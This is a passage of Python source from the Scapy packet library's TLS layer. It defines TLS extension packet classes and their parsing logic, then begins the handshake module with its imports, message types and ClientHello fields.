must be parsed as # TLS_Ext_KeyShare_HRR and not as TLS_Ext_KeyShare_SH # from cryptography.hazmat.backends import default_backend # from cryptography.hazmat.primitives import hashes # digest = hashes.Hash(hashes.SHA256(), backend=default_backend()) # digest.update(b"HelloRetryRequest") # _tls_hello_retry_magic = digest.finalize() _tls_hello_retry_magic = ( b'\xcf!\xadt\xe5\x9aa\x11\xbe\x1d\x8c\x02\x1ee\xb8\x91\xc2\xa2\x11' b'\x16z\xbb\x8c^\x07\x9e\t\xe2\xc8\xa83\x9c' ) _tls_ext = {0: "server_name", # RFC 4366 1: "max_fragment_length", # RFC 4366 2: "client_certificate_url", # RFC 4366 3: "trusted_ca_keys", # RFC 4366 4: "truncated_hmac", # RFC 4366 5: "status_request", # RFC 4366 6: "user_mapping", # RFC 4681 7: "client_authz", # RFC 5878 8: "server_authz", # RFC 5878 9: "cert_type", # RFC 6091 # 10: "elliptic_curves", # RFC 4492 10: "supported_groups", 11: "ec_point_formats", # RFC 4492 13: "signature_algorithms", # RFC 5246 0x0f: "heartbeat", # RFC 6520 0x10: "alpn", # RFC 7301 0x12: "signed_certificate_timestamp", # RFC 6962 0x13: "client_certificate_type", # RFC 7250 0x14: "server_certificate_type", # RFC 7250 0x15: "padding", # RFC 7685 0x16: "encrypt_then_mac", # RFC 7366 0x17: "extended_master_secret", # RFC 7627 0x1c: "record_size_limit", # RFC 8449 0x23: "session_ticket", # RFC 5077 0x29: "pre_shared_key", 0x2a: "early_data_indication", 0x2b: "supported_versions", 0x2c: "cookie", 0x2d: "psk_key_exchange_modes", 0x2f: "certificate_authorities", 0x30: "oid_filters", 0x31: "post_handshake_auth", 0x32: "signature_algorithms_cert", 0x33: "key_share", 0x39: "quic_transport_parameters", # RFC 9000 0x3374: "next_protocol_negotiation", # RFC-draft-agl-tls-nextprotoneg-03 0xff01: "renegotiation_info", # RFC 5746 0xffce: "encrypted_server_name" } class TLS_Ext_Unknown(_GenericTLSSessionInheritance): """ We put this here rather than in extensions.py in order to avoid circular imports... """ name = "TLS Extension - Scapy Unknown" fields_desc = [ShortEnumField("type", None, _tls_ext), FieldLenField("len", None, fmt="!H", length_of="val"), StrLenField("val", "", length_from=lambda pkt: pkt.len)] def post_build(self, p, pay): if self.len is None: tmp_len = len(p) - 4 p = p[:2] + struct.pack("!H", tmp_len) + p[4:] return p + pay ############################################################################### # ClientHello/ServerHello extensions # ############################################################################### # We provide these extensions mostly for packet manipulation purposes. # For now, most of them are not considered by our automaton. class TLS_Ext_PrettyPacketList(TLS_Ext_Unknown): """ Dummy extension used for server_name/ALPN/NPN for a lighter representation: the final field is showed as a 1-line list rather than as lots of packets. XXX Define a new condition for packet lists in Packet._show_or_dump? """ def _show_or_dump(self, dump=False, indent=3, lvl="", label_lvl="", first_call=True): """ Reproduced from packet.py """ ct = AnsiColorTheme() if dump else conf.color_theme s = "%s%s %s %s \n" % (label_lvl, ct.punct("###["), ct.layer_name(self.name), ct.punct("]###")) for f in self.fields_desc[:-1]: ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self, fvalue) if isinstance(reprval, str): reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + len(lvl) + len(f.name) + 4)) s += "%s%s\n" % (begn, vcol(reprval)) f = self.fields_desc[-1] ncol = ct.field_name vcol = ct.field_value fvalue = self.getfieldval(f.name) begn = "%s %-10s%s " % (label_lvl + lvl, ncol(f.name), ct.punct("="),) reprval = f.i2repr(self, fvalue) if isinstance(reprval, str): reprval = reprval.replace("\n", "\n" + " " * (len(label_lvl) + len(lvl) + len(f.name) + 4)) s += "%s%s\n" % (begn, vcol(reprval)) if self.payload: s += self.payload._show_or_dump(dump=dump, indent=indent, lvl=lvl + (" " * indent * self.show_indent), # noqa: E501 label_lvl=label_lvl, first_call=False) # noqa: E501 if first_call and not dump: print(s) else: return s _tls_server_name_types = {0: "host_name"} class ServerName(Packet): name = "HostName" fields_desc = [ByteEnumField("nametype", 0, _tls_server_name_types), FieldLenField("namelen", None, length_of="servername"), StrLenField("servername", "", length_from=lambda pkt: pkt.namelen)] def guess_payload_class(self, p): return Padding class ServerListField(PacketListField): def i2repr(self, pkt, x): res = [p.servername for p in x] return "[%s]" % ", ".join(repr(x) for x in res) class ServerLenField(FieldLenField): """ There is no length when there are no servernames (as in a ServerHello). """ def addfield(self, pkt, s, val): if not val: if not pkt.servernames: return s return super(ServerLenField, self).addfield(pkt, s, val) class TLS_Ext_ServerName(TLS_Ext_PrettyPacketList): # RFC 4366 name = "TLS Extension - Server Name" fields_desc = [ShortEnumField("type", 0, _tls_ext), MayEnd(FieldLenField("len", None, length_of="servernames", adjust=lambda pkt, x: x + 2)), ServerLenField("servernameslen", None, length_of="servernames"), ServerListField("servernames", [], ServerName, length_from=lambda pkt: pkt.servernameslen)] class TLS_Ext_EncryptedServerName(TLS_Ext_PrettyPacketList): name = "TLS Extension - Encrypted Server Name" fields_desc = [ShortEnumField("type", 0xffce, _tls_ext), MayEnd(ShortField("len", None)), EnumField("cipher", None, _tls_cipher_suites), ShortEnumField("key_exchange_group", None, _tls_named_groups), FieldLenField("key_exchange_len", None, length_of="key_exchange", fmt="H"), XStrLenField("key_exchange", "", length_from=lambda pkt: pkt.key_exchange_len), FieldLenField("record_digest_len", None, length_of="record_digest"), XStrLenField("record_digest", "", length_from=lambda pkt: pkt.record_digest_len), FieldLenField("encrypted_sni_len", None, length_of="encrypted_sni", fmt="H"), XStrLenField("encrypted_sni", "", length_from=lambda pkt: pkt.encrypted_sni_len)] class TLS_Ext_MaxFragLen(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Max Fragment Length" fields_desc = [ShortEnumField("type", 1, _tls_ext), MayEnd(ShortField("len", None)), ByteEnumField("maxfraglen", 4, {1: "2^9", 2: "2^10", 3: "2^11", 4: "2^12"})] class TLS_Ext_ClientCertURL(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Client Certificate URL" fields_desc = [ShortEnumField("type", 2, _tls_ext), MayEnd(ShortField("len", None))] _tls_trusted_authority_types = {0: "pre_agreed", 1: "key_sha1_hash", 2: "x509_name", 3: "cert_sha1_hash"} class TAPreAgreed(Packet): name = "Trusted authority - pre_agreed" fields_desc = [ByteEnumField("idtype", 0, _tls_trusted_authority_types)] def guess_payload_class(self, p): return Padding class TAKeySHA1Hash(Packet): name = "Trusted authority - key_sha1_hash" fields_desc = [ByteEnumField("idtype", 1, _tls_trusted_authority_types), StrFixedLenField("id", None, 20)] def guess_payload_class(self, p): return Padding class TAX509Name(Packet): """ XXX Section 3.4 of RFC 4366. Implement a more specific DNField rather than current StrLenField. """ name = "Trusted authority - x509_name" fields_desc = [ByteEnumField("idtype", 2, _tls_trusted_authority_types), FieldLenField("dnlen", None, length_of="dn"), StrLenField("dn", "", length_from=lambda pkt: pkt.dnlen)] def guess_payload_class(self, p): return Padding class TACertSHA1Hash(Packet): name = "Trusted authority - cert_sha1_hash" fields_desc = [ByteEnumField("idtype", 3, _tls_trusted_authority_types), StrFixedLenField("id", None, 20)] def guess_payload_class(self, p): return Padding _tls_trusted_authority_cls = {0: TAPreAgreed, 1: TAKeySHA1Hash, 2: TAX509Name, 3: TACertSHA1Hash} class _TAListField(PacketListField): """ Specific version that selects the right Trusted Authority (previous TA*) class to be used for dissection based on idtype. """ def m2i(self, pkt, m): idtype = ord(m[0]) cls = self.cls if idtype in _tls_trusted_authority_cls: cls = _tls_trusted_authority_cls[idtype] return cls(m) class TLS_Ext_TrustedCAInd(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Trusted CA Indication" fields_desc = [ShortEnumField("type", 3, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("talen", None, length_of="ta"), _TAListField("ta", [], Raw, length_from=lambda pkt: pkt.talen)] class TLS_Ext_TruncatedHMAC(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Truncated HMAC" fields_desc = [ShortEnumField("type", 4, _tls_ext), MayEnd(ShortField("len", None))] class ResponderID(Packet): name = "Responder ID structure" fields_desc = [FieldLenField("respidlen", None, length_of="respid"), StrLenField("respid", "", length_from=lambda pkt: pkt.respidlen)] def guess_payload_class(self, p): return Padding class OCSPStatusRequest(Packet): """ This is the structure defined in RFC 6066, not in RFC 6960! """ name = "OCSPStatusRequest structure" fields_desc = [FieldLenField("respidlen", None, length_of="respid"), PacketListField("respid", [], ResponderID, length_from=lambda pkt: pkt.respidlen), FieldLenField("reqextlen", None, length_of="reqext"), PacketField("reqext", "", X509_Extensions)] def guess_payload_class(self, p): return Padding _cert_status_type = {1: "ocsp"} _cert_status_req_cls = {1: OCSPStatusRequest} class _StatusReqField(PacketListField): def m2i(self, pkt, m): idtype = pkt.stype cls = self.cls if idtype in _cert_status_req_cls: cls = _cert_status_req_cls[idtype] return cls(m) class TLS_Ext_CSR(TLS_Ext_Unknown): # RFC 4366 name = "TLS Extension - Certificate Status Request" fields_desc = [ShortEnumField("type", 5, _tls_ext), MayEnd(ShortField("len", None)), ByteEnumField("stype", None, _cert_status_type), _StatusReqField("req", [], Raw, length_from=lambda pkt: pkt.len - 1)] class TLS_Ext_UserMapping(TLS_Ext_Unknown): # RFC 4681 name = "TLS Extension - User Mapping" fields_desc = [ShortEnumField("type", 6, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("umlen", None, fmt="B", length_of="um"), FieldListField("um", [], ByteField("umtype", 0), length_from=lambda pkt: pkt.umlen)] class TLS_Ext_ClientAuthz(TLS_Ext_Unknown): # RFC 5878 """ XXX Unsupported """ name = "TLS Extension - Client Authz" fields_desc = [ShortEnumField("type", 7, _tls_ext), MayEnd(ShortField("len", None)), ] class TLS_Ext_ServerAuthz(TLS_Ext_Unknown): # RFC 5878 """ XXX Unsupported """ name = "TLS Extension - Server Authz" fields_desc = [ShortEnumField("type", 8, _tls_ext), MayEnd(ShortField("len", None)), ] _tls_cert_types = {0: "X.509", 1: "OpenPGP"} class TLS_Ext_ClientCertType(TLS_Ext_Unknown): # RFC 5081 name = "TLS Extension - Certificate Type (client version)" fields_desc = [ShortEnumField("type", 9, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("ctypeslen", None, length_of="ctypes"), FieldListField("ctypes", [0, 1], ByteEnumField("certtypes", None, _tls_cert_types), length_from=lambda pkt: pkt.ctypeslen)] class TLS_Ext_ServerCertType(TLS_Ext_Unknown): # RFC 5081 name = "TLS Extension - Certificate Type (server version)" fields_desc = [ShortEnumField("type", 9, _tls_ext), MayEnd(ShortField("len", None)), ByteEnumField("ctype", None, _tls_cert_types)] def _TLS_Ext_CertTypeDispatcher(m, *args, **kargs): """ We need to select the correct one on dissection. We use the length for that, as 1 for client version would imply an empty list. """ tmp_len = struct.unpack("!H", m[2:4])[0] if tmp_len == 1: cls = TLS_Ext_ServerCertType else: cls = TLS_Ext_ClientCertType return cls(m, *args, **kargs) class TLS_Ext_SupportedGroups(TLS_Ext_Unknown): """ This extension was known as 'Supported Elliptic Curves' before TLS 1.3 merged both group selection mechanisms for ECDH and FFDH. """ name = "TLS Extension - Supported Groups" fields_desc = [ShortEnumField("type", 10, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("groupslen", None, length_of="groups"), FieldListField("groups", [], ShortEnumField("ng", None, _tls_named_groups), length_from=lambda pkt: pkt.groupslen)] class TLS_Ext_SupportedEllipticCurves(TLS_Ext_SupportedGroups): # RFC 4492 pass _tls_ecpoint_format = {0: "uncompressed", 1: "ansiX962_compressed_prime", 2: "ansiX962_compressed_char2"} class TLS_Ext_SupportedPointFormat(TLS_Ext_Unknown): # RFC 4492 name = "TLS Extension - Supported Point Format" fields_desc = [ShortEnumField("type", 11, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("ecpllen", None, fmt="B", length_of="ecpl"), FieldListField("ecpl", [0], ByteEnumField("nc", None, _tls_ecpoint_format), length_from=lambda pkt: pkt.ecpllen)] class TLS_Ext_SignatureAlgorithms(TLS_Ext_Unknown): # RFC 5246 name = "TLS Extension - Signature Algorithms" fields_desc = [ShortEnumField("type", 13, _tls_ext), MayEnd(ShortField("len", None)), SigAndHashAlgsLenField("sig_algs_len", None, length_of="sig_algs"), SigAndHashAlgsField("sig_algs", [], EnumField("hash_sig", None, _tls_hash_sig), length_from=lambda pkt: pkt.sig_algs_len)] # noqa: E501 class TLS_Ext_Heartbeat(TLS_Ext_Unknown): # RFC 6520 name = "TLS Extension - Heartbeat" fields_desc = [ShortEnumField("type", 0x0f, _tls_ext), MayEnd(ShortField("len", None)), ByteEnumField("heartbeat_mode", 2, {1: "peer_allowed_to_send", 2: "peer_not_allowed_to_send"})] class ProtocolName(Packet): name = "Protocol Name" fields_desc = [FieldLenField("len", None, fmt='B', length_of="protocol"), StrLenField("protocol", "", length_from=lambda pkt: pkt.len)] def guess_payload_class(self, p): return Padding class ProtocolListField(PacketListField): def i2repr(self, pkt, x): res = [p.protocol for p in x] return "[%s]" % ", ".join(repr(x) for x in res) class TLS_Ext_ALPN(TLS_Ext_PrettyPacketList): # RFC 7301 name = "TLS Extension - Application Layer Protocol Negotiation" fields_desc = [ShortEnumField("type", 0x10, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("protocolslen", None, length_of="protocols"), ProtocolListField("protocols", [], ProtocolName, length_from=lambda pkt:pkt.protocolslen)] class TLS_Ext_Padding(TLS_Ext_Unknown): # RFC 7685 name = "TLS Extension - Padding" fields_desc = [ShortEnumField("type", 0x15, _tls_ext), FieldLenField("len", None, length_of="padding"), StrLenField("padding", "", length_from=lambda pkt: pkt.len)] class TLS_Ext_EncryptThenMAC(TLS_Ext_Unknown): # RFC 7366 name = "TLS Extension - Encrypt-then-MAC" fields_desc = [ShortEnumField("type", 0x16, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_ExtendedMasterSecret(TLS_Ext_Unknown): # RFC 7627 name = "TLS Extension - Extended Master Secret" fields_desc = [ShortEnumField("type", 0x17, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_SessionTicket(TLS_Ext_Unknown): # RFC 5077 """ RFC 5077 updates RFC 4507 according to most implementations, which do not use another (useless) 'ticketlen' field after the global 'len' field. """ name = "TLS Extension - Session Ticket" fields_desc = [ShortEnumField("type", 0x23, _tls_ext), FieldLenField("len", None, length_of="ticket"), StrLenField("ticket", "", length_from=lambda pkt: pkt.len)] class TLS_Ext_KeyShare(TLS_Ext_Unknown): name = "TLS Extension - Key Share (dummy class)" fields_desc = [ShortEnumField("type", 0x33, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_PreSharedKey(TLS_Ext_Unknown): name = "TLS Extension - Pre Shared Key (dummy class)" fields_desc = [ShortEnumField("type", 0x29, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_EarlyDataIndication(TLS_Ext_Unknown): name = "TLS Extension - Early Data" fields_desc = [ShortEnumField("type", 0x2a, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_EarlyDataIndicationTicket(TLS_Ext_Unknown): name = "TLS Extension - Early Data Indication Ticket" fields_desc = [ShortEnumField("type", 0x2a, _tls_ext), MayEnd(ShortField("len", None)), IntField("max_early_data_size", 0)] _tls_ext_early_data_cls = {1: TLS_Ext_EarlyDataIndication, 4: TLS_Ext_EarlyDataIndicationTicket, 8: TLS_Ext_EarlyDataIndication} class TLS_Ext_SupportedVersions(TLS_Ext_Unknown): name = "TLS Extension - Supported Versions (dummy class)" fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_SupportedVersion_CH(TLS_Ext_Unknown): name = "TLS Extension - Supported Versions (for ClientHello)" fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("versionslen", None, fmt='B', length_of="versions"), FieldListField("versions", [], ShortEnumField("version", None, _tls_version), length_from=lambda pkt: pkt.versionslen)] class TLS_Ext_SupportedVersion_SH(TLS_Ext_Unknown): name = "TLS Extension - Supported Versions (for ServerHello)" fields_desc = [ShortEnumField("type", 0x2b, _tls_ext), MayEnd(ShortField("len", None)), ShortEnumField("version", None, _tls_version)] _tls_ext_supported_version_cls = {1: TLS_Ext_SupportedVersion_CH, 2: TLS_Ext_SupportedVersion_SH} class TLS_Ext_Cookie(TLS_Ext_Unknown): name = "TLS Extension - Cookie" fields_desc = [ShortEnumField("type", 0x2c, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("cookielen", None, length_of="cookie"), XStrLenField("cookie", "", length_from=lambda pkt: pkt.cookielen)] def build(self): fval = self.getfieldval("cookie") if fval is None or fval == b"": self.cookie = os.urandom(32) return TLS_Ext_Unknown.build(self) _tls_psk_kx_modes = {0: "psk_ke", 1: "psk_dhe_ke"} class TLS_Ext_PSKKeyExchangeModes(TLS_Ext_Unknown): name = "TLS Extension - PSK Key Exchange Modes" fields_desc = [ShortEnumField("type", 0x2d, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("kxmodeslen", None, fmt='B', length_of="kxmodes"), FieldListField("kxmodes", [], ByteEnumField("kxmode", None, _tls_psk_kx_modes), length_from=lambda pkt: pkt.kxmodeslen)] class TLS_Ext_TicketEarlyDataInfo(TLS_Ext_Unknown): name = "TLS Extension - Ticket Early Data Info" fields_desc = [ShortEnumField("type", 0x2e, _tls_ext), MayEnd(ShortField("len", None)), IntField("max_early_data_size", 0)] class TLS_Ext_NPN(TLS_Ext_PrettyPacketList): """ Defined in RFC-draft-agl-tls-nextprotoneg-03. Deprecated in favour of ALPN. """ name = "TLS Extension - Next Protocol Negotiation" fields_desc = [ShortEnumField("type", 0x3374, _tls_ext), FieldLenField("len", None, length_of="protocols"), ProtocolListField("protocols", [], ProtocolName, length_from=lambda pkt:pkt.len)] class TLS_Ext_PostHandshakeAuth(TLS_Ext_Unknown): # RFC 8446 name = "TLS Extension - Post Handshake Auth" fields_desc = [ShortEnumField("type", 0x31, _tls_ext), MayEnd(ShortField("len", None))] class TLS_Ext_SignatureAlgorithmsCert(TLS_Ext_Unknown): # RFC 8446 name = "TLS Extension - Signature Algorithms Cert" fields_desc = [ShortEnumField("type", 0x32, _tls_ext), MayEnd(ShortField("len", None)), SigAndHashAlgsLenField("sig_algs_len", None, length_of="sig_algs"), SigAndHashAlgsField("sig_algs", [], EnumField("hash_sig", None, _tls_hash_sig), length_from=lambda pkt: pkt.sig_algs_len)] # noqa: E501 class TLS_Ext_RenegotiationInfo(TLS_Ext_Unknown): # RFC 5746 name = "TLS Extension - Renegotiation Indication" fields_desc = [ShortEnumField("type", 0xff01, _tls_ext), MayEnd(ShortField("len", None)), FieldLenField("reneg_conn_len", None, fmt='B', length_of="renegotiated_connection"), StrLenField("renegotiated_connection", "", length_from=lambda pkt: pkt.reneg_conn_len)] class TLS_Ext_RecordSizeLimit(TLS_Ext_Unknown): # RFC 8449 name = "TLS Extension - Record Size Limit" fields_desc = [ShortEnumField("type", 0x1c, _tls_ext), MayEnd(ShortField("len", None)), ShortField("record_size_limit", None)] class TLS_Ext_QUICTransportParameters(TLS_Ext_Unknown): # RFC9000 name = "TLS Extension - QUIC Transport Parameters" fields_desc = [ShortEnumField("type", 0x39, _tls_ext), FieldLenField("len", None, length_of="params"), _QuicTransportParametersField("params", None, length_from=lambda pkt: pkt.len)] _tls_ext_cls = {0: TLS_Ext_ServerName, 1: TLS_Ext_MaxFragLen, 2: TLS_Ext_ClientCertURL, 3: TLS_Ext_TrustedCAInd, 4: TLS_Ext_TruncatedHMAC, 5: TLS_Ext_CSR, 6: TLS_Ext_UserMapping, 7: TLS_Ext_ClientAuthz, 8: TLS_Ext_ServerAuthz, 9: _TLS_Ext_CertTypeDispatcher, # 10: TLS_Ext_SupportedEllipticCurves, 10: TLS_Ext_SupportedGroups, 11: TLS_Ext_SupportedPointFormat, 13: TLS_Ext_SignatureAlgorithms, 0x0f: TLS_Ext_Heartbeat, 0x10: TLS_Ext_ALPN, 0x15: TLS_Ext_Padding, 0x16: TLS_Ext_EncryptThenMAC, 0x17: TLS_Ext_ExtendedMasterSecret, 0x1c: TLS_Ext_RecordSizeLimit, 0x23: TLS_Ext_SessionTicket, # 0x28: TLS_Ext_KeyShare, 0x29: TLS_Ext_PreSharedKey, 0x2a: TLS_Ext_EarlyDataIndication, 0x2b: TLS_Ext_SupportedVersions, 0x2c: TLS_Ext_Cookie, 0x2d: TLS_Ext_PSKKeyExchangeModes, # 0x2e: TLS_Ext_TicketEarlyDataInfo, 0x31: TLS_Ext_PostHandshakeAuth, 0x32: TLS_Ext_SignatureAlgorithmsCert, 0x33: TLS_Ext_KeyShare, # 0x2f: TLS_Ext_CertificateAuthorities, #XXX # 0x30: TLS_Ext_OIDFilters, #XXX 0x39: TLS_Ext_QUICTransportParameters, 0x3374: TLS_Ext_NPN, 0xff01: TLS_Ext_RenegotiationInfo, 0xffce: TLS_Ext_EncryptedServerName } class _ExtensionsLenField(FieldLenField): def getfield(self, pkt, s): """ We try to compute a length, usually from a msglen parsed earlier. If we can not find any length, we consider 'extensions_present' (from RFC 5246) to be False. """ ext = pkt.get_field(self.length_of) tmp_len = ext.length_from(pkt) if tmp_len is None or tmp_len < 0: v = pkt.tls_session.tls_version if v is None or v < 0x0304: return s, None return super(_ExtensionsLenField, self).getfield(pkt, s) def addfield(self, pkt, s, i): """ There is a hack with the _ExtensionsField.i2len. It works only because we expect _ExtensionsField.i2m to return a string of the same size (if not of the same value) upon successive calls (e.g. through i2len here, then i2m when directly building the _ExtensionsField). XXX A proper way to do this would be to keep the extensions built from the i2len call here, instead of rebuilding them later on. """ if i is None: if self.length_of is not None: fld, fval = pkt.getfield_and_val(self.length_of) tmp = pkt.tls_session.frozen pkt.tls_session.frozen = True f = fld.i2len(pkt, fval) pkt.tls_session.frozen = tmp i = self.adjust(pkt, f) if i == 0: # for correct build if no ext and not explicitly 0 v = pkt.tls_session.tls_version # With TLS 1.3, zero lengths are always explicit. if v is None or v < 0x0304: return s else: return s + struct.pack(self.fmt, i) return s + struct.pack(self.fmt, i) class _ExtensionsField(StrLenField): islist = 1 holds_packets = 1 def i2len(self, pkt, i): if i is None: return 0 return len(self.i2m(pkt, i)) def getfield(self, pkt, s): tmp_len = self.length_from(pkt) or 0 if tmp_len <= 0: return s, [] return s[tmp_len:], self.m2i(pkt, s[:tmp_len]) def i2m(self, pkt, i): if i is None: return b"" if isinstance(pkt, _GenericTLSSessionInheritance): if not pkt.tls_session.frozen: s = b"" for ext in i: if isinstance(ext, _GenericTLSSessionInheritance): ext.tls_session = pkt.tls_session s += ext.raw_stateful() else: s += raw(ext) return s return b"".join(map(raw, i)) def m2i(self, pkt, m): res = [] while len(m) >= 4: t = struct.unpack("!H", m[:2])[0] tmp_len = struct.unpack("!H", m[2:4])[0] cls = _tls_ext_cls.get(t, TLS_Ext_Unknown) if cls is TLS_Ext_KeyShare: # TLS_Ext_KeyShare can be : # - TLS_Ext_KeyShare_CH if the message is a ClientHello # - TLS_Ext_KeyShare_SH if the message is a ServerHello # and all parameters are accepted by the serveur # - TLS_Ext_KeyShare_HRR if message is a ServerHello and # the client has not provided a sufficient "key_share" # extension from scapy.layers.tls.keyexchange_tls13 import ( _tls_ext_keyshare_cls, _tls_ext_keyshare_hrr_cls) # If SHA-256("HelloRetryRequest") == server_random, # this message is a HelloRetryRequest if pkt.random_bytes and \ pkt.random_bytes == _tls_hello_retry_magic: cls = _tls_ext_keyshare_hrr_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 else: cls = _tls_ext_keyshare_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 elif cls is TLS_Ext_PreSharedKey: from scapy.layers.tls.keyexchange_tls13 import _tls_ext_presharedkey_cls # noqa: E501 cls = _tls_ext_presharedkey_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 elif cls is TLS_Ext_SupportedVersions: cls = _tls_ext_supported_version_cls.get(pkt.msgtype, TLS_Ext_Unknown) # noqa: E501 elif cls is TLS_Ext_EarlyDataIndication: cls = _tls_ext_early_data_cls.get(pkt.msgtype, TLS_Ext_Unknown) res.append(cls(m[:tmp_len + 4], tls_session=pkt.tls_session)) m = m[tmp_len + 4:] if m: res.append(conf.raw_layer(m)) return res ================================================ FILE: scapy/layers/tls/handshake.py ================================================ # SPDX-License-Identifier: GPL-2.0-only # This file is part of Scapy # See https://scapy.net/ for more information # Copyright (C) 2007, 2008, 2009 Arnaud Ebalard # 2015, 2016, 2017 Maxence Tury # 2019 Romain Perez """ TLS handshake fields & logic. This module covers the handshake TLS subprotocol, except for the key exchange mechanisms which are addressed with keyexchange.py. """ import math import os import struct from scapy.error import log_runtime, warning from scapy.fields import ( ByteEnumField, ByteField, Field, FieldLenField, IntField, PacketField, PacketLenField, PacketListField, ShortEnumField, ShortField, StrFixedLenField, StrLenField, ThreeBytesField, UTCTimeField, ) from scapy.compat import hex_bytes, orb, raw from scapy.config import conf, crypto_validator from scapy.packet import Packet, Raw, Padding from scapy.utils import randstring, repr_hex from scapy.layers.x509 import OCSP_Response from scapy.layers.tls.cert import Cert from scapy.layers.tls.basefields import (_tls_version, _TLSVersionField, _TLSClientVersionField) from scapy.layers.tls.extensions import (_ExtensionsLenField, _ExtensionsField, _cert_status_type, TLS_Ext_PostHandshakeAuth, TLS_Ext_SupportedVersion_CH, TLS_Ext_SignatureAlgorithms, TLS_Ext_SupportedVersion_SH, TLS_Ext_EarlyDataIndication, _tls_hello_retry_magic, TLS_Ext_ExtendedMasterSecret, TLS_Ext_EncryptThenMAC) from scapy.layers.tls.keyexchange import (_TLSSignature, _TLSServerParamsField, _TLSSignatureField, ServerRSAParams, SigAndHashAlgsField, _tls_hash_sig, SigAndHashAlgsLenField) from scapy.layers.tls.session import (_GenericTLSSessionInheritance, readConnState, writeConnState) from scapy.layers.tls.keyexchange_tls13 import TLS_Ext_PreSharedKey_CH from scapy.layers.tls.crypto.compression import (_tls_compression_algs, _tls_compression_algs_cls, Comp_NULL, _GenericComp, _GenericCompMetaclass) from scapy.layers.tls.crypto.suites import (_tls_cipher_suites, _tls_cipher_suites_cls, _GenericCipherSuite, _GenericCipherSuiteMetaclass) from scapy.layers.tls.crypto.hkdf import TLS13_HKDF if conf.crypto_valid: from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import hashes ############################################################################### # Generic TLS Handshake message # ############################################################################### _tls_handshake_type = {0: "hello_request", 1: "client_hello", 2: "server_hello", 3: "hello_verify_request", 4: "session_ticket", 6: "hello_retry_request", 8: "encrypted_extensions", 11: "certificate", 12: "server_key_exchange", 13: "certificate_request", 14: "server_hello_done", 15: "certificate_verify", 16: "client_key_exchange", 20: "finished", 21: "certificate_url", 22: "certificate_status", 23: "supplemental_data", 24: "key_update"} class _TLSHandshake(_GenericTLSSessionInheritance): """ Inherited by other Handshake classes to get post_build(). Also used as a fallback for unknown TLS Handshake packets. """ name = "TLS Handshake Generic message" fields_desc = [ByteEnumField("msgtype", None, _tls_handshake_type), ThreeBytesField("msglen", None), StrLenField("msg", "", length_from=lambda pkt: pkt.msglen)] def post_build(self, p, pay): tmp_len = len(p) if self.msglen is None: l2 = tmp_len - 4 p = struct.pack("!I", (orb(p[0]) << 24) | l2) + p[4:] return p + pay def guess_payload_class(self, p): return conf.padding_layer def tls_session_update(self, msg_str): """ Covers both post_build- and post_dissection- context updates. """ # RFC8446 sect 4.4.1 # "Note, however, that subsequent post-handshake authentications do not # include each other, just the messages through the end of the main # handshake." if self.tls_session.post_handshake: self.tls_session.post_handshake_messages.append(msg_str) else: self.tls_session.handshake_messages.append(msg_str) self.tls_session.handshake_messages_parsed.append(self) ############################################################################### # HelloRequest # ############################################################################### class TLSHelloRequest(_TLSHandshake): name = "TLS Handshake - Hello Request" fields_desc = [ByteEnumField("msgtype", 0, _tls_handshake_type), ThreeBytesField("msglen", None)] def tls_session_update(self, msg_str): """ Message should not be added to the list of handshake messages that will be hashed in the finished and certificate verify messages. """ return ############################################################################### # ClientHello fields # ############################################################################### class _GMTUnixTimeField(UTCTimeField): """ "The current time and date in standard UNIX 32-bit format (seconds since the midnight starting Jan 1, 1970, GMT, ignoring leap seconds)." """ def i2h(self, pkt, x): if x is not None: return x return 0 def i2m(self, pkt, x): return int(x) if x is not None else 0 class _TLSRandomBytesField(StrFixedLenField): def i2repr(self, pkt, x): if x is None: return repr(x) return repr_hex(self.i2h(pkt, x)) class _SessionIDField(StrLenField): """ opaque SessionID<0..32>; section 7.4.1.2 of RFC 4346 """ pass class _CipherSuitesField(StrLenField): __slots__ = ["itemfmt", "itemsize", "i2s", "s2i"] islist = 1 def __init__(self, name, default, dico, length_from=None, itemfmt="!H"): StrLenField.__init__(self, name, default, length_from=length_from) self.itemfmt = itemfmt self.itemsize = struct.calcsize(itemfmt) i2s = self.i2s = {} s2i = self.s2i = {} for k in dico.keys(): i2s[k] = dico[k] s2i[dico[k]] = k def any2i_one(self, pkt, x): if isinstance(x, (_GenericCipherSuite, _GenericCipherSuiteMetaclass)): x = x.val if isinstance(x, bytes): x = self.s2i[x] return x def i2repr_one(self, pkt, x): fmt = "0x%%0%dx" % self.itemsize return self.i2s.get(x, fmt % x) def any2i(self, pkt, x): if x is None: return None if not isinstance(x, list): x = [x] return [self.any2i_one(pkt, z) for z in x] def i2repr(self, pkt, x): if x is None: return "None" tmp_len = [self.i2repr_one(pkt, z) for z in x] if len(tmp_len) == 1: tmp_len = tmp_len[0] else: tmp_len = "[%s]" % ", ".join(tmp_len) return tmp_len def i2m(self, pkt, val): if val is None: val = [] return b"".join(struct.pack(self.itemfmt, x) for x in val) def m2i(self, pkt, m): res = [] itemlen = 